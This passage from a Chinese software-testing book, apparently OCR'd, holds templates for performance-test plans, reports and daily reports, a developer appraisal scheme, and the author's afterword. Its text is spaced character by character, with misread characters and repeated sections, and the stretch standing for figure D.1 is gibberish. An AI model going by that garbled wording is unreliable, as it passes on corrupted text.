就 是 性 能 测试 需求 的 提取 。 这 方面 的 资料 比较 多 ,所 以 在 本 书 中 并 没有 详 
细 讲 解 , 感 兴趣 的 可 参考 附录 A 中 的 学 习 资 料 。 

此 处 介绍 如 何 写 性 能 测试 的 用 例 。 每 个 公司 的 情况 不 一 样 ,风格 也 不 
一 样 ,所 以 没有 固定 的 模板 。 这 里 我 只 分 享 一 个 我 们 当时 用 的 用 例 模板 ,是 
在 Excel 中 设计 的 ,大 致 包括 如 下 几 个 部 分 : 

用 例 信 息 的 基本 描述 ; 
脚本 设置 ; 
场景 设计 ; 
实际 结果 ; 
执行 信息 。 

当然 ,这 些 内 容 不 是 必 选 的 ,大 家 可 以 根据 实际 情况 进行 裁剪 。 因 为 
Excel 格式 的 不 好 排版 ,所 以 没有 写 到 本 书 中 ,如 果 大 家 想 获 取 本 模板 ,请 
扫 下 方 二 维 码 关注 微 信 公 众 号 ,之 后 回复 “性 能 测试 模板 ” 即 可 获得 下 载 
链接 。 
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C.2 性 能 测试 计划 模板 


1. 概述 
这 里 大 致 描述 性 能 测试 目的 或 目标 以 及 简要 的 方法 。 
2. 系统 分 析 


这 里 主要 对 被 测 系统 的 架构 方面 做 简单 地 描述 分 析 。 

3. 测试 设计 

1) 测试 进入 准则 与 范围 

在 功能 测试 完成 且 稳 定 的 情况 下 ,对 本 系统 进行 性 能 测试 。 
2) 业务 模型 分 析 

把 实际 的 操作 流程 用 图 表示 出 来 。 

3) 预期 指标 


测试 项 目 平均 响应 时 间 事物 成 功率 CPU Mem 


-| | LU 


4) 测试 环境 
(1) 系统 环境 标准 配置 。 


主机 用 途 机 型 /OS 数量 CPU 内 存 IP 


(2) 测试 客户 端 配置 。 


主机 用 途 | 机 型 /0S 数量 CPU 内 存 浏览 器 版 本 IP 


5) 测试 工具 


工具 版 本 用 途 备注 


大 话 软 件 测试 一 一 性 能 、 自 动 化 及 团队 管理 


6) 资源 与 进度 安排 
(1) 人 为 安排 。 


角色 数量 职责 


| | 


(2) 进度 安排 。 

可 以 使 用 WBS 形式 列 出 ,当然 也 可 以 选择 你 自己 喜欢 的 形式 描述 进度 
的 安排 ,注意 执行 开始 后 要 及 时 更 新 每 项 的 进度 ,不 要 让 文档 成 为 死 文 档 ， 
这 样 就 没有 意义 了 。 

4. 测试 场景 

见 性 能 测试 用 例文 档 。 


5. 风险 分 析 与 应 对 


风险 优先 级 应 对 措施 

需求 变更 高 通过 内 部 IM 及 时 进行 沟通 ,并 在 SVN 及 时 更 新 版 本 
员 变 动 高 需要 有 熟悉 需求 的 相关 人 员 作 补充 

环境 变动 高 预先 留 有 后 备 测试 环境 ,保证 环境 的 稳定 


C.3 性 能 测试 方案 模板 


1. 测试 目的 

描述 本 次 测试 的 目的 ,如 果 有 多 个 目的 就 分 别 描述 。 
2. 测试 环境 

描述 测试 环境 。 

3. 测试 场景 用 例 

描述 各 种 构造 的 测试 场景 用 例 ,类 似 功 能 测试 的 用 例 。 
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4. 测试 数据 说 明 
是 否 需 要 准备 测试 数据 ,如 果 需 要 ,如 何 准备 测试 数据 、 数 据 量 以 及 注 


意 事项 等 描述 。 


5. 测试 工具 说 明 

对 要 使 用 的 测试 工具 做 个 简单 描述 即 可 。 

6. 测试 方法 概述 

站 在 一 个 高 度 ,简要 抽象 地 描述 大 致 的 测试 思路 和 方法 。 

7. 脚本 编写 说 明 

主要 描述 脚本 的 逻辑 以 及 注意 事项 ,比如 哪些 需要 参数 化 等 类 似 的 


8. 场景 执行 设计 
针对 “3 测试 场景 用 例 ”, 这 里 具体 描述 每 种 测试 场景 用 例 的 实际 场 


景 设计 是 如 何 的 ,比如 是 慢 增 长 ,还 是 快 增长 ,run time settings 设置 什 
么 等 。 


9. 监控 对 象 
主要 监控 指标 如 下 : 


Running vusers 

TPS 

Trans response time(90% ,标准 差 ) 

Hits per second 

Throughput 

connections per seconds 

Unix resources(LoadAverage, CPU, MEM, I0, 队列 ,网 络 ) 


10. 测试 通过 标准 

有 就 写 ,没有 就 去 掉 该 项 ,学 会 灵活 , 别 死 板 。 

11. 测试 限制 与 风险 

描述 进行 测试 时 可 能 受到 的 限制 以 及 可 能 存在 的 风险 。 


ra 大 话 软 件 测试 一 性 能 、 自 动 化 及 团队 管理 CD 


12. 测试 完成 后 的 后 续 操作 
描述 测试 完成 后 需要 做 什么 后 续 的 清理 工作 ,诸如 此 类 的 。 


C.4 性 能 测试 报告 模板 


1. 测试 目的 


本 报告 是 为 了 反映 XX 系统 的 XX 模块 的 性 能 表现 ,检查 在 多 用 户 并 
发 访问 的 情况 下 系统 的 表现 情况 。 

本 次 测试 从 事务 响应 时 间 、 并 发 用 户 数 、 系 统 资源 使 用 等 多 个 方面 ,以 
专业 的 性 能 测试 工具 ,分 析出 当前 系统 的 性 能 表现 ,以 实际 测试 数据 与 预期 
的 性 能 要 求 比较 ,检查 系统 是 否 达到 既定 的 性 能 目标 。 


2. 测试 范围 
对 系统 的 哪些 业务 进行 性 能 测试 。 
3. 测试 环境 
(1) 系统 环境 


描述 Os 台数 CPU Mem IP 


描述 OS DB CPU Mem IP 


(2) 客户 端 环 境 


描述 Os 台数 CPU Mem IP 


4. 场景 建 模 


业务 场景 描述 。Control 中 的 场景 设计 策略 描述 。 
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5. 测试 结果 分 析 
关键 图 表 分 析 ,截图 和 文字 结合 描述 。 
6. 测试 结论 与 解决 方案 


对 分 析 中 的 推断 做 一 个 总 结 的 结论 ,并 对 每 种 结论 分 别提 出 建议 或 者 
解决 方案 。 建 议 使 用 分 层 的 思想 。 


7. 测试 风险 
编号 风险 项 描述 应 对 方案 备注 


在 场景 设置 添加 Windows 
1 | 操作 失误 | 计数 器 的 时 候 没 有 添 


场景 设计 完毕 后 应 该 进行 


加 memory 快速 同行 评审 ,以 避免 玖 漏 
| 尽量 避 开 高 峰 时 刻 . 测 试 前 
2 | 网 络 状态 | 网 络 状态 突然 不 好 "导致 测 | 保证 网 络 的 良好 ,可 联系 相 


不在 全 应 人 员 协 助 


C.5 前 端 性 能 对 比 测试 结果 模板 


1. 对 比 测试 数据 记录 
此 表 为 最 基础 的 ,可 以 根据 实际 情况 自行 扩展 。 


Total bytes | Total bytes 
对 比 网 站 | URL | Total time(s) 了 Total requests | 现象 
Sent received 


2. 对 比 测试 结果 分 析 

根据 测试 数据 的 对 比 结果 进行 分 析 。 
3. 优化 建议 

根据 分 析 结 果 给 出 一 定 的 优化 建议 。 
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5. 测试 结果 分 析 
关键 图 表 分 析 ,截图 和 文字 结合 描述 。 
6. 测试 结论 与 解决 方案 


对 分 析 中 的 推断 做 一 个 总 结 的 结论 ,并 对 每 种 结论 分 别提 出 建议 或 者 
解决 方案 。 建 议 使 用 分 层 的 思想 。 


7. 测试 风险 
编号 风险 项 描述 应 对 方案 备注 


在 场景 设置 添加 Windows 
1 | 操作 失误 | 计数 器 的 时 候 没 有 添 


场景 设计 完毕 后 应 该 进行 


加 memory 快速 同行 评审 ,以 避免 玖 漏 
| 尽量 避 开 高 峰 时 刻 . 测 试 前 
2 | 网 络 状态 | 网 络 状态 突然 不 好 "导致 测 | 保证 网 络 的 良好 ,可 联系 相 


不在 全 应 人 员 协 助 
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1. 对 比 测试 数据 记录 
此 表 为 最 基础 的 ,可 以 根据 实际 情况 自行 扩展 。 


Total bytes | Total bytes 
对 比 网 站 | URL | Total time(s) 了 Total requests | 现象 
Sent received 


2. 对 比 测试 结果 分 析 

根据 测试 数据 的 对 比 结果 进行 分 析 。 
3. 优化 建议 

根据 分 析 结 果 给 出 一 定 的 优化 建议 。 


附录 D 自动 化 测试 用 例 模板 


该 用 例 模板 是 使 用 Excel 制作 的 ,因为 表格 太 大 不 方便 排版 ,此 处 以 图 
片 形 式 给 出 , 因 涉 及 敏感 数据 所 以 进行 了 模糊 处 理 , 如 图 D. 1 所 示 。 表 格 字 
段 以 及 形式 可 以 根据 实际 情况 自行 调整 。 


| 针 发 -条 视 博信 息 二 

| “|* 上 重 入, 发 上 前 站 
的 信 息 与 和 新 信 |POST :re | 
| 息 一 样 活 ， 抵 补 1 本 in 
ES < 


| 县 成功 转 安 24=12345 的 纲 二 
| 两 个 和 站 如 有 从 且 融 有 tezt ap 转发 信息 
| 琵 成 功 转发 1d4= 12345 的 庆 情 
oo tun ml 图 县 自动 生成: 转发 8author: 
| 原 内 容 "文字 
图 jia 为 空 jE 国 00 

+ 
名 两 个 估 娄 才 为 人 和 站 


附录 E 管理 相关 文档 模板 汇总 


E.1 日 报 模板 


标题 ; 年 -月 -日 -姓名 -X X XxX 项 目测 试 日 报 
1. 今日 测试 进展 


描述 所 负责 各 个 模块 的 测试 进度 、 用 例 执 行情 况 。 
(1) A 模块 进展 。 
(2) B 模 块 进展 。 


2. Bug 情况 


描述 当日 发 现 及 验证 Bug 的 情况 ,参见 下 例 。 

(1) 今天 验证 了 z 个 Bug, 其 中 关闭 > 个 , 重 开 = 个 ; 

(2) 今天 新 发 现 n 个 Bug, 其 中 A 级 z+ 个 ,B 级 yy 个 ……; 

(3) 高 权重 问题 及 分 析 。 

列 出 当日 的 高 权重 问题 ,同时 根据 所 了 解 到 的 这 些 问 题 的 处 理 情况 作 
出 分 析 。 


3. 需要 得 到 帮助 的 问题 


列 出 在 测试 过 程 中 需要 开发 .产品 或 其 他 人 员 提 供 帮 助 的 问题 ,参见 
下 例 。 

(1) 需要 100 条 数据 测试 分 页 。 

(2) 需要 从 后 台 收 回 个 性 域名 。 

(3) 需要 产品 提供 变更 后 的 需求 文档 。 
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4. 


明日 计划 


按照 具体 情况 , 列 出 明日 的 工作 计划 。 


E.2 


绩效 考核 方案 模板 
没有 固定 的 形式 ,这 里 给 出 的 模板 仅 供 参考 。 
岗位 描述 


I 


岗位 004: 高 级 开发 工程 师 ( 项 目 组 长 ) 
人 员 名 单 


. 岗位 职责 


独立 承担 项 目 系统 架构 设计 ; 

负责 编写 项 目 核心 代码 ; 

负责 编写 与 项 目 相关 的 详细 设计 文档 
带领 开发 团队 设计 及 开发 项 目 ; 

负责 项 目 开 发 任务 分 配 ; 
安排 项 目 开发 进度 ; 

负责 检查 代码 的 编写 质量 ; 

项 目 后 期 维护 与 升级 的 任务 分 配 及 控制 。 


. 岗位 要 求 


计算 机 ,信息 技术 或 相关 专业 本 科 或 以 上 学 历 ; 

有 3 年 以 上 软件 设计 与 开发 经 验 ; 

精通 J2EE XML、Web Service、 分 布 式 、 多 线程 等 高 性 能 架构 相关 开 
发 技术 ; 

熟悉 网 络 仆 虫 搜索 引擎 及 数据 库 技术 ; 

具备 系统 设计 能 力 ; 

精通 各 种 主流 应 用 架构 和 平台 ; 

精通 面向 对 象 的 分 析 和 设计 技术 ,包括 设计 模式 、UML 建 模 等 ; 

了 解 Web 应 用 的 性 能 瓶颈 和 调 优 方式 ; 


嘱 
hr=| 


附录 E 


相关 文档 模板 汇总 


。 精通 主要 应 用 服务 器 (Tomcat) 的 配置 和 使 用 ; 
。 熟悉 Linux 操作 系统 ,可 以 熟练 使 用 常用 的 Linux 命令 完成 日 常 


工作 ; 


。 具有 很 强 的 分 析 问 题 和 解决 问题 的 能 力 ,善于 学 习 ; 
。 熟练 使 用 常用 办 公 软 件 及 版 本 控制 工具 ; 


。 具有 强烈 的 责任 心 和 良好 的 团队 合作 精神 , 较 好 的 沟通 能 力 。 


4. 绩效 考核 方案 


项 目 及 考核 内 容 分 值 

工作 态度 根据 平日 的 工作 态度 直接 由 上 级 打分 20 分 

任务 完成 及 质量 根据 任务 的 完成 度 及 完成 质量 由 上 级 打分 40 分 
对 所 开发 块 的 维护 质量 率 ， 纪 

后 期 维护 质量 及 效率 所 开发 功能 及 模块 的 维护 质量 及 效率 ,由 上 级 启 苏 
普通 Bug 的 数量 和 工作 量 ( 人 /天 ) 的 比值 ,平均 少 于 

开发 的 出 错 率 等 于 2 个 为 20 分 ,3 一 6 个 为 16 分)7 一 9 个 为 10 分 ， 20 分 


由 于 开发 错误 导致 的 系统 崩溃 或 系统 运行 不 正常 , 直 
接 扣 15 分 


合作 部 门 投诉 或 表扬 


表扬 一 次 加 3 分 ,投诉 一 次 扣 3 分 


创新 能 力 


如 有 较 好 的 创新 点 或 建议 ,对 系统 优化 有 较 好 的 帮 
助 ,每 个 加 5 分 


后 记 


本 书 基于 《小 强 软件 测试 疯狂 讲义 一 一 性 能 及 自动 化 ) 改 版 而 来 ,大 家 
可 以 理解 为 该 书 的 升级 版 ,增加 了 不 少 知识 点 以 及 真实 案例 ,并 对 以 往 的 
不 足 进行 了 改进 ,但 不 论 怎样 还 是 会 有 一 些 Bug 的 ,希望 大 家 能 给 予 包 
容 和 理解 , 毕 竞 一 本 书 和 一 个 产品 一 样 ,是 需要 时 间 和 版 本 迭代 更 新 完 
善 的 。 

每 一 本 书 的 完成 其 实 都 是 沉重 的 ,并 不 轻松 ,因为 一 旦 面市 将 会 受到 各 
种 评论 和 压力 。 不 知 何 时 , 写 书 貌似 成 了 一 种 负担 而 不 是 快乐 。 我 混迹 IT 
行业 多 年 ,从 异 懂 到 热血 ,再 到 淡定 ,甚至 到 无 求 ,身上 的 那 种 劲 儿 似 乎 越 来 
越 弱 了 。 其 实 并 不 是 不 求 上 进 , 而 是 看 开 了 很 多 , 想 通 了 很 多 ,也 变 得 更 加 

其 实 我 也 不 知道 在 后 记 中 写 些 什么 好 , 苦 酌 许久 之 后 决定 与 大 家 分 享 
两 个 感悟 ,我 觉得 可 能 会 引起 很 多 共鸣 吧 。 

(1) 让 我 们 感觉 到 痛苦 的 不 是 现象 本 身 ,而 是 思维 方式 。 

既然 是 一 本 技术 类 书籍 ,那么 我 们 就 聊 聊 技术 学 习 。 我 带 过 的 学 生 已 
经 远 远 超过 千 人 ,有 发 展 很 好 的 ,也 有 发 展 很 不 好 的 。 最 近 我 也 总 结 了 下 大 
家 在 学 习 过 程 中 的 一 些 “ 小 毛病 ” ,也许 值得 借鉴 。 

第 一 , 缺少 想法 随波逐流 。 很 多 人 会 问 我 要 学 性 能 还 是 自动 化 ,其 实 先 
学 什么 取决 于 你 的 需求 和 兴趣 ,而 这 些 需 要 自己 去 尝试 和 探索 ,我 们 太 容 易 
随波逐流 ,导致 始终 没 法 到 达 目 的 地 。 

第 二 , 选择 太 多 未 必 是 一 件 好 事 。 人 就 是 这 样 ,没有 选择 的 时 候 在 抱 
怨 , 有 选择 的 时 候 在 纠结 。 我 们 面 对 很 多 知识 的 时 候 往往 总 纠结 学 哪个 ,站 
在 十 字 路 口 徘徊 了 ”五 百年 >。 你 哪怕 尝试 走 一步 , 即 使 错 了 至 少 证 明 这 个 
不 合适 ,这 也 是 价值 , 比 在 那 空想 更 有 意义 吧 。 

第 三 ,习惯 性 忽略 。 其 实 这 点 我 特别 不 能 理解 。 作 为 一 个 测试 工程 师 ， 
基本 的 要 求 和 技能 就 是 能 读 懂 需 求 、 分 析 需 求 , 为 什么 会 有 那么 多 朋友 在 学 
习 时 会 习惯 性 忽略 重要 内 容 呢 ,明明 很 重要 的 内 容 却 莫名 不 看 。 在 团队 中 
这 种 现象 比较 少见 ,因为 用 例 都 是 根据 需求 来 的 ,你 一 旦 忽略 就 可 能 遗漏 用 


例 , 从 而 导致 出 现 没 有 发 现 的 Bug, 带 来 的 后 果 也 可 想 而 知 。 但 在 学 习 的 时 
候 难 道 是 因为 没有 这 种 后 果 , 所 以 才 习 惯性 忽略 ? 重要 的 说 明 , 标 红 的 说 
明 ,加 粗 的 说 明 ,一 个 接 一 个 地 忽略 ,我 表示 懂 圈 呀 。 

第 四 , 好 高 警 远 。 看 不 起 基础 知识 ,不 重视 基础 知识 ,这 个 在 我 接触 到 
的 朋友 中 占 到 了 80% 左 右 ,很 可 怕 。 我 们 什么 时 候 变 得 这 么 浮躁 了 ? 难道 
我 们 不 知道 没有 加 减 乘除 、 九 九 乘法 表 , 哪 里 来 的 离散 数学 、 微 积分 ? 难道 
我 们 不 知道 没有 地 基 哪 里 来 的 高 楼 大 厦 ? 

这 个 时 代 都 在 强调 “高 大 上 ”, 都 在 包装 “高 级 感 ”, 谁 都 怕 基 础 ,低级 。 
但 知识 这 个 东西 有 高 级 、 低 级 之 分 吗 ? 我 觉得 没有 。 任 何 所 谓 “ 高 级 ”的 知 
识 其 实 都 是 “低级 ”的 知识 累积 演变 而 来 的 。 你 是 愿意 做 一 棵 可 以 屹立 不 倒 
的 大 树 还 是 一 末 一 吹 就 散 的 漂亮 花 朱 ? 

第 五 ， 狗 狂 的 学 知识 , 却 忘 了 知识 背后 的 东西 。 我 之 所 以 特别 喜欢 “让 
我 们 感觉 到 痛苦 的 不 是 现象 本 身 , 而 是 思维 方式 ?这 句 话 ,就 是 因为 只 有 体 
会 到 思维 方式 带 来 的 那 种 冲击 ,你 才 会 明白 什么 是 真 学 习 。 

我 们 很 多 朋友 其 实现 在 只 是 在 追求 “学 习 一 门 知识 ”, 在 A 场景 下 会 用 
B 知识 点 ,但 换 成 C 场景 就 不 会 了 。 并 没有 理解 学 习 知 识 的 背后 是 思维 方 
式 ,一旦 掌握 了 思维 方式 其 实 你 学 习 什 么 知识 都 会 很 快 。 就 像 张 无 辟 有 了 
九 阳 神功 和 乾坤 大 挪移 ,学 什么 武功 都 很 快 。 张 三 丰 教 张无忌 太极 拳 的 时 
候 ,最 后 张三丰 问 张无忌 还 记得 招式 吗 ,张无忌 说 不 记得 了 ,那么 代表 他 已 
经 学 会 了 。 其 实 就 是 告诉 大 家 招式 只 是 现象 ,而 招式 背后 的 思想 才 是 核心 。 
就 拿 性 能 测试 调 优 来 说 ,我 们 看 到 的 是 需要 学 习 很 多 知识 ,但 背后 其 实 是 在 
学 习 这 些 的 同时 培养 你 的 思维 思路 ,学 会 了 一 个 Tomcat 的 调 优 ,和 它 类 似 
的 所 有 的 调 优 就 应 该 同样 掌握 ,这 才 是 学 习 的 本 质 。 

曾经 我 写 过 一 篇 文章 ( 送 给 那些 有 代码 基础 但 仍旧 不 会 学 自动 化 测试 
的 朋友 们 》, 收 到 了 不 少 朋友 的 私信 ,也 推荐 大 家 读 读 。 

(2) 宝贝 对 不 起 ,放下 工作 养 不 起 你 , 拿 起 工作 陪 不 了 你 。 

这 个 话题 和 技术 无 关 , 不 为 人 父 时 体会 不 到 的 东西 ,在 这 一 年 里 都 体会 
到 了 。 随 着 我 的 “小 棉 只 ”的 出 生 , 以 往 的 生活 规律 被 打破 。 我 们 拼命 奔波 
在 钱 和 时 间 之 间 , 想 要 挣 更 多 的 钱 ,还 想 要 更 多 的 时 间 , 但 事实 是 这 二 者 一 
个 多 的 时 候 另 一 个 必然 会 少 , 这 就 是 我 们 这 些 北 漂 的 真实 写照 。 我 的 同事 
曾经 被 女儿 问 为 什么 好 几 个 星期 晚上 都 看 不 到 你 ,这 就 是 万 恶 的 “996? 带 来 
的 。 我 还 有 同事 因为 买 不 起 房 ,加 上 生活 压力 较 大 ,只 能 让 孩子 回老家 ,而 
他 继续 在 北京 工作 ,每 隔 一 段 时 间 回 家 看 看 孩子 。 有 一 次 他 和 我 们 说 孩子 
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都 快 不 认识 他 了 ,就 这 一 句 简 单 的 话 让 我 们 都 沉默 了 很 久 。 

人 到 中 年 ,时 常 觉 得 孤独 。 因 为 你 一 睁 开眼 睛 ,周围 都 是 要 依靠 你 的 
人 , 却 没有 你 可 以 依靠 的 人 。 每 一 位 爸 妈 都 贪心 , 想 给 孩子 赚 来 整个 世界 ， 
殊不知 孩子 只 想 留 住 你 。 

也 许 会 有 朋友 问 我 有 什么 高 见 。 其 实 我 只 想 表达 ,在 这 个 竞争 激烈 的 
社会 中 ,基本 的 物质 保障 是 活 下 去 的 基础 ,你 也 必须 要 接受 有 得 有 失 。 换 个 
角度 来 看 ,陪伴 不 一 定 是 玩 夏 和 旅行 ,其 实学 习 也 是 一 种 陪伴 。 你 用 自己 的 
行动 告诉 孩子 这 个 世界 只 有 学 习 才 会 让 你 强大 有 安全 感 ,不 被 社会 淘汰 ,你 
也 可 以 在 学 习 中 教会 他 /她 很 多 方法 和 道理 。 当 你 在 学 习 中 遇 到 困难 并 突 
破 困 难 坚持 下 来 时 ,其 实 你 也 教会 了 他 /她 只 有 能 战胜 困难 的 人 才能 笑 到 最 
后 。 这 些 难道 不 是 非常 有 意义 的 陪伴 吗 ? 所 以 ,最 后 送 给 我 自己 和 大 家 , 宝 
贝 没关系 ,放下 工作 养 不 起 你 , 拿 起 工作 我 依然 可 以 陪 你 ! 

就 到 这 里 吧 , 写 了 这 么 多 在 末尾 也 不 知道 会 有 多 少 人 会 看 到 ,不 会 习惯 
性 地 忽略 吧 , 喻 哈 。 最 后 希望 本 书 不 仅仅 能 给 大 家 带 来 技术 上 的 指引 ,也 能 
给 你 心灵 上 的 安奈。 

嗯 ,最 后 的 最 后 ,感谢 支持 我 的 朋友 们 ,感谢 看 着 小 强 视频 长 大 的 粉丝 
们 ,更 感谢 我 的 学 员 们 。 世 界 之 所 以 还 可 以 美好 ,也 许 就 是 因为 有 你 们 ! 


赵 强 
写 于 北京 深夜 


